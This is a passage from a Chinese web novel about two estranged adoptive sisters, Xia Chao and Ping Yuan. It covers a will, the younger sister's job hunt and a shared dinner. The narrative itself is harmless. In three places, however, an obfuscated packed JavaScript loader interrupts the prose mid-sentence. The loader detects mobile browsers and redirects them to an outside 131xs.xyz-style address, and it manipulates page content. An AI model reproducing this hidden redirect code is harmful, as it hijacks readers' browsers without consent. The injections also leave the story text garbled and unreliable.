她低了低头:“但这只是一面之词,就算你是收养的又怎样?谁知道是不是夏玲遗弃我之后,重新又收养了一个更健康的小孩?” “我起初不知道我是收养的,只知道我有个姐姐,从很小的时候开始,妈妈和爸爸就经常出门去找她。” “那个时候我还在想,我姐姐去哪里了呀?是不是躲迷藏去了。”夏潮听见自己笑了笑,“直到有一天,我真的在躲迷藏的时候发现了这个。” 她的手轻轻地指了指收养证:“后来我就知道,自己是收养的了。” “我的姐姐五年前在医院门口走失了,我是妈妈在找她的路上被捡到的。” 人真的很奇怪。回忆一旦涌起来,想到面前的人原来就是当年妈妈回忆中的那个姐姐,她对平原也生不出火气了。 反而心里有一点酸涩的怜惜。 她是在一个下雨天被夏玲捡到的,就在平原走失的医院门口。 那年头重男轻女的观念严重得很,捡到被抛弃的女婴不算稀奇事。据说,夏玲看见她的时候,她已经冻得浑身发紫,在医院的垃圾桶附近哭得没有声音了。 或许也是因为想起了走失的平原吧,那一瞬间,动了恻隐之心的夏玲弯腰抱起了她,然后她就有家了。 这样想来,她怎么不算是因为平原才捡回的一条命呢? 夏潮抿嘴笑了笑。算啦,别跟平原置气了,她比平原小,让让姐姐,怎么不算是应该的呢? 于是,在平原的目光里,她又弯下腰,在书包里翻出了一个文件袋。她把文件袋刷啦一声拉开,翻了翻,很快就抽出了一张纸。 “给你。”她将A4纸和文件袋一起给平原。 “我的户口本、身份证、毕业档案都在这里。”她坦荡地说,“还有一份夏玲的遗嘱。” 那张纸就放在最上面,平原一眼就看到上面有些歪歪扭扭的字迹。 夏潮的声音在耳边响起:“夏玲有一套老房子。她说去世之后,这套房子如果卖出,钱由我和你平分——嗯,如果有债务,那个不需要你承担。” “这就是我来找你的原因,”她抬起头,平心静气地望向平原,“现在遗嘱带到了,我的任务其实就完成了。虽然接下来还要打扰你一阵时间,但你别担心,我来这边就是为了找一份工作自立的,不会赖在这儿很久。” 她认真地说,表情没有半点虚伪。 她不知道平原的病。夏玲瞒下这一点,就像她对平原瞒下自己被收养的身世。在她看来,这两件事或许都属于她们自己的隐私,应该由她们自己决定是否告诉彼此。 真是操碎了心啊。夏潮在心里偷偷地叹了口气。有时候她也在想,如果夏玲从头到尾就只有一个女儿,那她会不会活得更幸福更轻松呢? 至于那个女儿的名额应该给谁……夏潮低头看脚尖,这就不要再想啦。 不论是哪个结果,都显得自己很坏。 不高兴的白色小猫嘴巴打叉,趴在拖鞋上和她大眼瞪小眼。夏潮盯了它一会儿,觉得自己的话到这就差不多了,便清清嗓子,说:“你是不是要洗澡来着?” “我先进房间咯,不打扰你。” “等一下。”平原却喊住了她。 夏潮停住脚步:“怎么了?” “你刚刚提到了你爸,但是在你妈生病这件事上,他从头到尾就没出现过,”平原清凌凌的声音咬住她,“他去哪儿了?” ……真够敏锐的。来之前就听说了一点儿,她这个姐姐从小脑瓜子好使得很,考的大学也是一顶一的好,和她这种从小就会上房揭瓦的野人不一样。 听说平原读的F大,还是C9什么的,夏潮搞不懂这种黑话,只是深呼吸了一口气:“我不告诉你。” “你不是说我妈不是你妈吗,”她轻快地说,“那我爸也不是你爸。” “当然他也没干什么对不起我妈的事情。所以他老人家你就别操心啦,去洗澡吧,拜拜。” 她挥挥手,这次没再停下脚步。 事了拂衣去啊,不错不错。夏潮在心里点点头,很满意自己这个潇洒的结束。 但平原的目光却一直沉默地黏在夏潮背后,就在她准备拧开门把手的时候,平原终于出声。 还是那句话:“等一下。” “这是我的房间,你走错了,”这一次轮到她轻声细语,“你的房间是另一边。” 夏潮沉默。下一秒,她像一只灵活的猹一样,悲愤地扭转了身体。 怎么总在这种地方捅娄子啊!不知道的还以为自己多瞧不上杂物房,惦记着睡主卧呢! 虽然她确实很不想睡杂物房就是啦,但是、但是这怎么可以在这个时候出糗呢! 好绝望。她心里羞耻得几乎要尖叫了。 平原默默地看着她,看见女孩子慌不择路地调转了方向,一头栽进了另一个房间。 动作敏捷又慌张,像小鹿。 平原忍不住翘了翘嘴角。但很快,又将嘴角垂下了。 “遗嘱”还捏在她的手里,薄薄的一页纸,一笔一划都是用力的痕迹。 什么啊……她在心里嘀咕了一声。她们母女俩是不是不知道,这样写遗嘱是没有法律效力的呀。 如何认定自愿、如何划分财产。光是用脚趾头想想,都能想出很多问题。而这份遗嘱只有短短几行字,更是可想而知的错漏百出。 但夏玲大概是不懂的。 平原的指尖有些无奈地抚摸过落款,在那里,有真心实意的两个大字:夏玲。 夏潮大概也不懂。或者说,懂不懂都无所谓。 因为她就这样傻乎乎地把这份“文件”带过来了,好像打心眼儿里觉得,这套老屋合该是她平原的。 平原受不了夏潮看她的眼神。真是有够傻的。她在心里又偷偷生气了,哪来的野小孩。 笨死了,犟死了,法盲! 她起身去洗澡。 遗嘱的事情耽搁了一会儿,卫生间的水汽已经散去了。平原喜欢这种地板干爽的感觉,她往小垃圾桶瞥了一眼,发现夏潮洗完澡,还很细心地把浴室地漏里头发拿掉了。 这让她高兴又不高兴——搞什么鬼,装乖给谁看。 显得她刚才讲话多凶似的。 她把气撒到花洒身上,哗啦哗啦地浇自己,才觉得心情好点了。 等到平原洗完澡敷好面膜出来,杂物间的门已经掩上。门的另一边,夏潮把背包放在置物架上,抱着膝盖发呆。 房间确实放了杂物,但却并没有想象中杂乱。床是已经铺好了的,一米二的折叠小床,换了新的床品,坐上去软软的。 好像还有种淡淡的香味。夏潮把鼻尖凑近枕头,小小地嗅了嗅。 栀子花的味道。 不知道为什么,现在轮到夏潮有点不高兴了——搞什么鬼,这不是收拾得挺好的?干嘛之前要说杂物房? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345696|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀子嘴豆腐心。显得自己之前冤枉了她似的。 夏潮又想起刚刚平原的样子。下巴尖尖的,皮肤也白,抿着嘴忍耐时几乎嘴唇都没有血色,像一枚苍白的月亮。 ——显得她多坏啊! 夏潮咬牙切齿地把脸埋进了被子里,狠狠地扑腾了几下。 扑腾完才想起来这是在别人家,不能像以前在自己家里那样拆墙。于是夏潮又默默地躺下,把自己平摊开来,像条咸鱼一样装死。 唉……她抱着被子,又叹了口气。 但这次叹气是真心实意的。 刚才平原问他,她爸去哪儿了。她没有回答,并不是因为讨厌平原,不想告诉她。 相反,她是看见平原胸口的疤痕,还有她唇角那一缕绝望的冷笑之后,忽然难过得说不出话。 因为平原的爸爸,就是在出门找平原的时候车祸去世的。 她那时只有豆丁大,或许是被人抛弃过的原因,每当身边没有人在,就会哇哇大哭。夏玲不得不花很多时间留在她身边,找平原的任务,自然而就落到了丈夫身上。 然后,某天晚上,她听到电话铃响,那头的人告诉她们,他出事了。 因为那时候太小了,夏潮有一点不记得她爸长什么样了。 但是,每当她看见夏玲独自操劳,夏潮都还会想,这算不算是她或者平原害死了他? 所以她不会把这件事告诉平原。夏潮想,她恨了夏玲那么多年,一旦知道这件事,道德会将她击溃。 虽然今晚她也不是没起过报复的心思,想竹筒倒豆子,看看平原崩溃的模样。 谁叫她嘴太坏了,哼。 夏潮坐起来,抱住膝盖。杂物房里有小小的一扇窗,正好能看见月亮。 一层薄光落到被褥上,仿佛笼了层白纱,清清淡淡,的栀子花味绕着鼻尖,叫人的眼皮也开始沉重。 她是真的很累了,在路上奔波了一整天,屁股一沾床,巨大的困意像平原熬的烂糊粥饭,裹着她直往下坠。 夏潮把脸迈进被子里,缓缓闭上了眼睛。 十分钟过后,她猛地睁开眼,直勾勾望向天花板——好热。 这里不是北方吗?为什么会这么热啊。 她有点想起身去问平原,却又有点拉不下脸,犹豫了一下,决定默默忍了。 睡着就好了……睡着就好了……她自我催眠,最终闭上了眼。 而一门之隔,罪魁祸首还坐在沙发上研究试卷。 夏潮一看就是没把心思放学习上的。当年她高三,用完的签字笔芯一捆捆扔,写完的模拟卷一沓沓放。夏潮倒好,卷子就那么几张,大题和脸一样干净。 平原又想起她刚刚直愣愣地杵在那里,铁骨铮铮地说我不读了,就想冷笑。 读还没读明白呢,就说不读了。野小孩一个。 她把卷子放下,继续翻,却发现下一张并不是印象中的物化生组合,拿起来细细看了看。 原来现在真不分文综理综了啊……时代发展真快。 平原一直不觉得自己年龄大,事实也确实如此,她能力强升职快,永远是同层级里年轻的那一个。 直到面前出现真正青春洋溢的小女孩,她才意识到,距离自己那个张扬又沉默的十八岁,已经九年过去了。 按三年一代沟算,她们之间简直是……啧,不爽。 她心绪烦乱地拿起手里的卷子扇了扇风,觉得有些热,又准备再开个电风扇。 电风扇就在沙发边,但遥控器找不到了,她走过去,准备直接按按钮……欸? 平原的动作定住了——完蛋,忘记给这个臭小孩开风扇了。 怎么也不说话啊夏潮,该不会以为她故意虐待她吧? 当姐姐的人现在有点儿慌神了。 6. 心软病 第二天夏潮起床,平原已经上班去了。 床边不知道什么时候多了个小电风扇,还在悠悠地送着凉风。 难怪昨晚后半夜没那么热了。也不知道平原是什么时候进来的,这人怎么像猫一样,动作悄无声息。 当然,也有可能是她睡太死了。在家夏玲就经常骂她,天天睡到太阳晒屁股都不知道。 也不知道昨晚平原进来的时候自己有没有打呼噜。夏潮心虚地摸了摸鼻子。 手机里已经躺着一条留言。是平原给她转了一百块钱,当今天的伙食费,又交代了些诸如备用钥匙、烧水壶、外卖地址之类的琐事。 夏潮继续往下滑,看见平原还给她发了一条语音。屏幕那头,背景里有机械女声播报地铁到站,字正腔圆,而她的声音在嘈杂人声中依旧清凌凌,带着丝行色匆匆。 可惜好听的声音并没有说什么很好听的话。平原只是问她:“你会用烧水壶吗?不会用的话,冰箱里有冰镇的矿泉水。” 顿了顿,末了又一本正经地嘱托:“冰箱直接拉开就行。” 未免太瞧不起她了吧!连开冰箱也要教,她是什么不懂现代文明的野人吗! 夏潮气结,决定今天非得狠狠拥抱现代文明不可。 她就这样带着凌云壮志下了床,刷牙洗脸,走到桌子上准备给自己接一杯水,然后傻眼了。 呃。平原用的烧水壶好像确实挺现代的,或者说,它根本就不是夏潮印象中一个肚一个把儿,把水烧开就能直接往杯子里倒的那种烧水壶,而是一台直饮水机。 夏潮当然不知道这个洋气的名字,她只是觉得这台机器的磨砂外壳光滑得不行,上面写着几个档位,根本没有添水的地方,也没有倒水的口。 她尝试着把“烧水壶”抱起来晃了晃,显然也没出水——不如说,用脚趾头想都知道,怎么会有人用这么离谱的方法倒水。 又不是每天举重,或是表演人猿泰山。 意识到这一点的夏潮缓缓放下烧水壶,忽然意识到,自己好像的确像个野人。 她耻辱地点开聊天对话框,老老实实地按平原备注的用法操作了一遍。 滴。饮水机果然流出清水,她先小心翼翼地用唇沾了一下,发现水果然是温温的,正好入口。 嘿嘿。一下子又觉得自己厉害了起来。 她一瞬间想拍照给平原拍,证明自己不是野人,又意识到这举动本身就带着一股心虚的味道。 罢了。她生生忍下了这股求夸奖的冲动,老实地遵循平原指示,到楼下买了鸡蛋灌饼吃。 她昨天赶路太累,今天就起得晚。到了楼下,晨起锻炼的大妈大爷已经提着鸟笼拎着菜,慢悠悠往回走。 红砖的人行道旁栽着高大的行道树,并不是南方熟悉的阔叶榕。夏潮在树下踱步,看见小区门口的烧烤店卷帘门紧闭,上头满是涂鸦和烟熏火燎的痕迹,一看就知道夜宵生意红火。 卷帘门上贴了红纸,写着“姑娘结束高考,停业三天旅游去”。 真好。她笑了笑。 老式小区就这个好处,烟火气十足。钴蓝色窗玻璃,不锈钢防盗网,斑驳的墙体甚至仍残留上个时代「少生优生幸福一生」的标语,像河湾兜住奔流的光阴,再汹涌的时间流过这里,也忍不住变缓。 早餐摊子差不多也要收了,卖鸡蛋灌饼的是个干活麻利的大姨,与夏潮寒暄:“小姑娘第一次来啊,是谁家小孩不?是不是放暑假咯?” 熟稔自然的语气,大概是在这一片出摊有些年头了,往来老客都面熟。 夏潮本来想说自己是平原的妹妹,但又想起平原昨晚的态度,猜她应该不想别人知道这段关系。 于是她只是扬了扬唇,把前面的问题含糊过去:“嗯,我在姐姐这边过暑假呢。” 她生的五官周正,一笑却有点野气灵秀,这一套招架她妈和她以前的老师都有用。 煎饼大姨似乎也不例外。面前的小姑娘穿嫩鹅黄的t恤,衬得人也水嫩,头发整个扎起来,大大方方的,招人喜欢。 大姨声音一下子就慈爱了:“放暑假好哇,哎,小姑娘长得真俊俏,暑假开心玩啊,大姨每天早上都在这片出摊。” “好呀好呀,”夏潮咬了口脆脆的鸡蛋灌饼,也脆生生地答复,“谢谢大姨。” 她笑眯眯地转身,直到走进小区里头,笑容才垮下来,有点发愣。 ——她已经毕业了,当然是没有暑假的。打工的念头在过了一晚后越发坚决。 这不是因为昨晚她们吵架了,她想膈应平原,而是因为她住了一晚就发现,平原家太好了。 干净整洁,被褥清香又柔软,有各种她看不懂的智能家电,门背后还养着一盆大大的、形状像鹿角的蕨。 出门前她想着买菜做饭,看了眼冰箱。冰箱也收拾得很好,分区有条有理,冰镇柠檬水和鸡尾酒。 叫人想起她昨天下班,倚在冰箱边喝柠檬水。纤细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345697|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指握住透明玻璃杯,仰头时白皙脖颈弧度优美又脆弱。 沁凉沁凉的,让夏潮的心也莫名被冰了一下。 一切都刚刚好。房子主人有自己的生活、自己的情调。冰柜里印着花体外文的鸡尾酒,透着克制的小放纵,和老家晚上路边抓着白酒瓶子烂醉如泥的男的一点也不一样。 这小小的一方天地,塞进她一个夏潮,就显得有些拥挤了。 夏潮不怀疑平原留她住的真心,倒不是觉得平原喜欢她,而是她已经发现,她这个从天而降的姐姐,分明死脑筋得要命,承诺过的事就恨不得百分之一百二十地完成,好彻底斩断自己和夏玲之间的关系。 但偏偏她和夏玲的关系已经斩不断理还乱,平原又是个三岁小孩都能察觉的刀子嘴豆腐心。 话说得那样狠,实际上全是虚张声势。毛病。 她不想利用平原心软的这个毛病。 想起今天早上那台电风扇,小小的白色扇叶转啊转。夏潮就忍不住鼓起腮帮子,吹了吹刘海。 被陌生人打扰三个月,已经够烦了吧?更不要说等她复读、毕业、上大学,一年又一年,这些事情恐怕都要麻烦平原。 嗯,甚至可能大学都上不了。夏潮想想自己闻者伤心见者落泪的成绩,觉得自己撑死了读个大专。 这样的她没什么必要浪费别人的精力照顾,当然,也没什么必要浪费钱。 大城市不比她们乡下,衣食住行还有学费都是很大的开销。而夏玲生病已经花去家里所有积蓄,她想再往下读,就要把房子卖掉了。 夏潮不想把房子卖掉。那里有她画满涂鸦的床,有歪歪扭扭的老橘子树。老旧的木门框忠实地记录着她的身高,每一次她试图偷偷踮脚,都会被夏玲老实不客气地摁下去。 最后一道划痕停留在一米六七的位置,她念高一,距离夏玲检查出癌症还有半个月。 半个月后,她就要搁置学业,陪夏玲到省城去做检查、手术、化疗。 现在她已经又长高一大截啦。夏潮试图把嘴角提起来,心里却酸酸的。 打工也没有什么丢人的,不如说,念完高中去打工已经很了不起了。像她老家的什么红红翠翠凤娇,都是初中也没念完就跑县城打工了。 所以,还是去打工吧!靠双手,挣饭吃! 她在心里给自己鼓劲,乐观地决定今天就去人才市场转转。 她不知道目前的应届生就业工作形势已不容乐观。 7. 柠檬水 对于下定决心的事情,夏潮的行动力其实很高。 谋定而后动不是她的风格,她也没指望自己能找一个多光鲜的工作。毕竟老家的红红姐告诉过她,像咱们这种小地方出来的人,只要能自食其力,有瓦遮头就已经很不错了。 有这份心态打底,找工作应该不会太难,夏潮自信满满地想。 却没想到现实很快就打了她的脸。 山区儿童兼半个文盲的夏潮不知道,这年头人才市场已经不是主要的招聘方式了。对普通个体户来说,平时招个服务员啊洗碗工之类的需求,根本犯不着特意派个人驻扎到这边来。 而正儿八经招技术人才的商业公司,也瞧不上夏潮。她尝试着在一家企业台前停下,穿着衬衫披着小西装的hr正百无聊赖,看见这挺漂亮的一个年轻小姑娘探头看,顺口招呼了一句。 “对什么岗位感兴趣,有简历吗?” “拣栗?”夏潮听不懂术语,茫然地睁着大眼睛,“到哪里拣栗?” “……”没事了。 hr在心里默默地吐槽,面带微笑地把她送走了:“不好意思,我们的用人要求不太适合哈。” 于是夏潮被送走了。她默默又到另外几个公司那儿转了转,得到的结果大同小异。 毕竟这年头学历贬值得厉害,别说是正儿八经交五险一金的工作,就算是真招人拣栗,也未必没有大学生抢着干。 看来看去,人才市场愿意招她这种“低学历人才”的,也就工厂了。 却没想到,工厂也不招她。招工的工头见她过来,从牙缝里挤出一声笑:“哎哟妹妹,我们这里招的都是大老粗,进厂干苦活的,女人干不了这活的。” 打量的目光落到夏潮脸上,又转了一圈:“要不你跟我一老乡走吧,他开夜总会的,招待招待客人,陪陪唱K就行,包食宿哦。” 他笑容已经开始变得猥琐:“你长这么漂亮,说不定还能找个有钱男朋友,以后就让他养你咯。” 去他大爷的。 夏潮在心里翻白眼,脸上冷笑,狠狠给了对面一个中指。然后在对方反应过来破口大骂之前,轻捷地逃了。 她心里倒是不发怵。这种嘴里不干净的男的,以前老家见太多了,一边讲下流笑话,一边自称自己是全家顶梁柱,口口声声女的不适合干这个、不适合干那个,实际上还得让老婆出去打工。 还有这些工厂也是。她气鼓鼓的,明明各行各业女人多得很,非说女的不适合,要么不招、要么工资还得打折扣。 呸,不就是欺负人吗。她在心里又竖起一个中指,有点后悔,早知道刚刚打完再跑。 反正以后也不会再见了,人才市场没有适合她的工作。 一班公交车正好到站,夏潮低头清点了一下自己的材料,跳上车,就开始看着窗外发愣。 出师不利啊……她在心里叹气,还是要在平原家继续住。 也不知道为什么,一想起平原,她心里竟后知后觉地泛起点委屈。 大概是出去一趟,才意识到平原嘴毒心软的性子挺可爱的。 如果自己真的是她妹妹就好了。如果她们真的是从小一起长大,那她回去肯定会万分委屈地扑到姐姐身上,鬼哭狼嚎地撒娇,最后讹平原三个冰淇淋。 但是她们不是。名义上的姐妹,本质等同于陌生人,只能相敬如宾。 什么冰淇淋啊。夏潮愁眉苦脸,连工作都没找到的人,买杯四块钱的冰鲜柠檬水喝喝得了。 可惜下车没看见熟悉的红招牌白雪人,不过倒是有家奶茶店,招牌上的名字,夏潮从来没见过。 她走进去,点了杯柠檬水,边喝边给平原发消息,问要不要给她带一杯。 过了一会儿,平原才回了简短的两个字:不用。 可能是觉得自己拒绝得太果断有点不太礼貌,五秒后,又有一个短短的语音条冒出来:谢谢。 兴许是在上班的缘故,夏潮总觉得她清澈的声音多了点哑,尾音勾出微不可闻的气声,沙沙地划过耳膜,像小小的一声叹息。 柠檬水凉浸浸地划过喉咙,叫人又想起昨晚她仰头喝水的动作,白衬衫,黑头发,素净冷淡的一张脸,像一捧雪。 夏天实在是个不适合出门的季节。暑热蒸腾,冷气又开得那样大,柠檬水里的碎冰丁零当啷响,让指尖凉透,就衬得心里又热又乱,好像要长出什么。 好像要被空调吹感冒了。 还是回家吧。夏潮起身,用指尖勾着柠檬水的打包袋晃晃悠悠地往外走,却又停下脚步。 一架不大不小的易拉宝就贴在门面处,黑色油墨笔写着大字:招工,接受零基础,薪酬3000-5000。 好多钱啊! 夏潮眼睛亮了。她当机立断,转身冲回去:“你们这里招急工吗?” 正在忙碌的店长抬起头来,一眼就撞上她的眼睛。 女孩子趴在吧台上,鼻尖热得沁出了点汗,眼神却亮晶晶的,像看到了肉骨头的小狗——这高挑的个子,这周正的小脸蛋,还有这清澈淳朴的、一看就没见过什么钱的眼神。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345698|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 天选摇奶茶的好苗子啊!店长当机立断:“招!” 干她们这行的,要么摇出麒麟臂,要么摇出腱鞘炎。这个月店里已经跑了三个兼职的大学生了,偏偏暑假正是出单量最高的时候,对于夏潮热切的打工需求,店主简直瞌睡撞上了枕头。 她看了看夏潮的证件,讲了些待遇、工作时长之类的基础事项事情,得到肯定的答复后,十分高兴,便让夏潮做体力测试。 说是测试,其实也很简单。她指了指墙角,让夏潮把一箱物料搬到后厨去。 夏潮却以为都要搬走,她蹲下去,把两箱物料都稳稳当当地抱了起来——还挺轻。 至少没有夏玲重。她妈住院那会儿,实在没钱请护工,每天抱上抱下的,从病床挪到轮椅,全靠她一个人。 店主看她干脆利落的动作,更是满意:“行,差不多了。你这周末抽空去把健康证办了,然后过来签合同。” 说到健康证,她又扫了夏潮一眼。小姑娘白白净净的,指尖修的干净整齐,一看就非常符合食安要求。 双方都对彼此十分满意,友好地达成了牛马协定。夏潮挥别店主,往菜市场走去。 其实她刚也琢磨过了一下,自己要不要再看看别的奶茶店。反正摇奶茶嘛,到哪儿不是摇? 但是这家位置是真方便,离平原家近,好歹弥补了不包食宿的缺点。 就是她还得再打扰平原一段时间,夏潮想了想,决定把这段时间的一部分工资折成房租交给平原。 嗯嗯,她在心里点头,再分担一些力所能及的家务吧,比如买菜做饭什么的。 毕竟白吃白喝不是她的风格,而且平原做的饭实在太难吃了。 后面那句话是重点。 想到这里,她忍不住轻轻地笑了起来。人好奇怪啊,明明昨天晚上还一副彻底决裂的架势,现在才到下午,她的心情已经平静多了。 或许最初让她心里难受的,与其说是平原拒人千里的态度,不如说是她心里小小的自尊和不安全感在作祟。 而自食其力的工作给予人尊严,哪怕只是一份普通又辛苦的工作,也是象征自立的新开始。 这两天再研究一下健康证怎么办。她轻快地晃了晃手里的柠檬水,蹦跳着往前走,又意识到自己看起来有点冒失,停下来,重新走成一本正经的样子。 阳光透过绿玻璃般的树叶,风一吹,便有清脆声响。地上碎光摇曳,像小孩晃着亮晶晶的玻璃糖纸。她摇头晃脑,发尾一翘一翘,决定今晚做饭,给平原多加一个汤。 8. 雪杉树 平原回家的时候被吓了一大跳。 隔着门就听见家里有叮叮当当的声响,她第一反应进贼了,第二反应是家被夏潮拆了,把门拉开,才发现是家里来了个田螺姑娘。 夏潮正在厨房忙活。围裙带子系在身后,衬得女孩子腰线明晰干净。她抓着锅铲,翻炒着菜,又转身,一边揭开珐琅锅的锅盖,一边将落下的碎发捋回耳后。 汤勺轻轻搅拌,鲜美的香气一下就升腾起来,她的眉眼在淡白的雾气中变得模糊,平原看见她盛了一小碗汤,用勺子试咸淡,却被烫得呜地往后一缩。 然后伸出舌尖,开始斯哈斯哈地试图晾舌头,像只小狗。 平原忍不住笑了一声,又止住。夏潮听见响动,往玄关处看去,发现是她,脸上便露出有点不好意思的神色。 “你回来了?”她明知故问。 “嗯。”平原点头。 今天的平原和昨天又有些不同,穿灰色无袖连衣裙,配切尔西靴。西装面料挺括有型,剪裁利落,冷清清站在那儿,不说话也露着锋芒。 但她的脸色却比昨天还要倦怠一点,夏潮轻声说:“你今天回来得比昨天早。” “平时我搭地铁上下班,昨天要去接你,才堵车耽误了时间。” 她的嘴还是一如既往的不客气。 “今天碰巧赶上快车,代价是被挤成沙丁鱼罐头,”她疲倦地闭了闭眼,又把手里东西递给夏潮,“买了半拉西瓜,放冰箱吧。” “噢……”夏潮接过西瓜,想起今天早上平原给她发的语音,似乎也是在地铁上,人声嘈杂,声音都透着行色匆匆。 她想起昨天在车上闻到的清新香水味,忍不住问:“为什么不开车上班呢?” 平原面无表情:“因为早高峰堵车。” “哦……”山区儿童对大城市的交通拥堵没有概念,但这不妨碍夏潮乖巧地点头。她停了停,又发现华点:“那为什么要买车?” 平原愣住。 她其实有很多理由可以搪塞过去。出行方便、短途出差可以直接开车,或者干脆直接说“想买就买了呗”,随便哪一句话都可以把夏潮搪塞过去。 平原站得笔挺,静静地想,但她搪塞不了自己的心。 已经很久没人问过这个问题了。这辆车是她工作第二年买的,不算太贵的车型,加上车贷也就二十万出头。 彼时她刚刚还清助学贷款,跳槽,涨了30%的薪,便毫不犹豫地把剩下的积蓄掏出来,买了这辆车。 她不是会超前消费的人。所以刚买车时,相熟的同事都有些震惊,问她怎么忽然决定买车了。 那时的她就这样平淡地笑笑,用上面那些理由搪塞,说出门方便,想少挤点地铁。 只有她自己知道,之所以买车,是因为四岁那年,她被人贩子拐走了。 千禧年初对身份查得还不严格,火车大巴用的都是纸质车票。她还记得四岁的自己被那个女人拎起后脖颈的衣服,像拎起只猪猡一样逃票,遇到盘查严格的地方,就索性带着她挤那种无证经营的面包车。 那个年头黑车猖獗得很。一辆十二座的金杯面包车,最拥挤的时候能硬生生塞进二三十个人。 长大了平原才知道,当年这种车在当地被戏称为“卖猪车”,混乱无序,塞的大部分都是被骗去外地打黑工或是被拐卖的人。 因为心脏不舒服,她总会哭闹,人贩子索性把安眠药掺进她喝的水里。大部分时间她被塞在座位角落昏睡,少部分时间她醒来,昏昏沉沉,被女人夹在腋下,逼仄空间里,闻到车内汗臭味、隔夜饭的馊味,还有衣服上呕吐物的味道。 那种味道多年后依旧让她怕。通勤的短途地铁尚能忍受,但一旦路程超过四十分钟,她便想要发抖。 这种感觉夏潮必然不会明白。 她们之间差了整整九岁的光阴。平原想起昨天,自己忍着恶心靠近高铁站的时候,夏潮就站在那里眼睛明亮亮地看她。 十八岁的女孩子,朝气蓬勃,亮晶晶地咧嘴对她笑,一看就什么也不懂,但偏偏自知被爱。 毕竟夏玲直至临终之际,依旧在嘱托自己,说她妹妹是第一次出远门,让她多加照拂。 那样殷殷的托付,相较之下,对她的嘘寒问暖不过是流于形式的、陌生人之间的寒暄。 平原的眼神冷了下去。 夏潮不懂她的眼神,只是困惑地仰头,清澈眼睛一眨不眨,依旧在等一个答案。 最后,平原只是问:“你有没有那种,想走却走不了的时候?” “我有,”她淡淡地说,“所以我喜欢开车的那种掌控感。” 对生活的掌控感。对她而言,车就像救命稻草,无论是恐惧还是发抖,只要握紧车钥匙,就能告诉自己,没关系,我已经长大了,随时可以走,随时可以逃跑。 平原的神色又变冷了。夏潮有点困惑,怎么开个车就谈上掌控感了?城里人说话都这么一套一套的吗? 但她不敢把话说出来,毕竟这可是平原第一次回她闲聊的话,四舍五入就等于给了她好脸色。 她得珍惜她姐的好脸色。 所以,夏潮一本正经地点头回应道:“懂。” “我们老家住路口的二狗妹,她家在养鸡生意发达买新车时也这样,去年过年她还带着我们这帮小孩兜风,从城东开到城西,车子里放凤凰传奇,可带感了。” “动次打次动次打次,”为了表现自己领悟彻底,她用小鸡啄米的动作模拟劲爆DJ节奏,“这就是掌控感!” 掌控个屁。 平原脸黑下去,想抽她。 但她忍住了,只说:“去吃饭吧。” 夏潮做的菜式虽然很家常,但味道很好。一碟小炒牛肉,一碗蒸得嫩嫩的鸡蛋羹,还有一锅奶白菜汤,事先煸炒过瘦肉、虾米出香味,再加入对半剪开的小白菜,大火咕嘟让汤色乳白。 平原夹了一筷小炒牛肉,不得不矜持地承认,炒得喷香。 她家的珐琅锅和铸铁锅也算是重见天日。搬家开火时她买了全套厨具,但很快就不幸发现,自己一没有做饭的天赋,二没有做饭的时间。 其实也不能说没有天赋,只是她根本没有做家常菜的经验。小时候在福利院吃大锅饭,长大了在学校食堂吃大锅饭,好不容易等毕业,又每天加班。 一个人的饭菜不好做,不是淡了生了,就是咸了糊了。她尝试了几次,觉得实在麻烦,索性吃公司的加班餐算了。 但夏潮显然不同。她坐在餐桌的另一边,又露出了那种亮晶晶的眼神,里头全是对厨艺的自豪和吃饭的渴望。 平原看着她给自己勺了一勺鸡蛋羹,又夹了一筷子牛肉,连连点头:“好吃好吃,你家的大铁锅炒菜真不错。” “……那是铸铁锅。” 有什么区别?夏潮思索,铸铁的铁也是铁啊? 除了颠勺的时候重一点。 她给平原也盛了一碗汤:“怎么不喝汤?有青菜啊,多吃青菜身体好。” 汤里加了白胡椒,闻着就鲜美扑鼻,没有青菜的苦味。很少人给她盛汤,她有些发愣,夏潮却以为她不想吃,一下子紧张起来:“诶,你是不是不喜欢吃啊。” 很奇怪,别的时候她不在乎别人的眼光,到了做饭, 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她一直不知道自己的名字。当年被送来福利院的时候,她年纪太小,还不太识字,只能口齿不清地告诉大人,自己叫“yuanyuan”。 至于是哪个“yuan”,没人能知道,最后只能根据院长的姓氏,给她拣个字叫平原。 不过也无所谓,她本来就不是很在乎自己叫什么。之所以问……也只是好奇而已。 神秘的东西才会让人念念不忘,一旦你知道了它的真面目,就离忘掉它不远了。 于是平原屏息,安静地等待一个答案。夏潮却摇摇头:“我只知道你叫圆圆。” “圆滚滚的圆,是小名,”她说,“所以有时我会叫你圆圆姐姐。” 平原一怔,抬头看了过来。 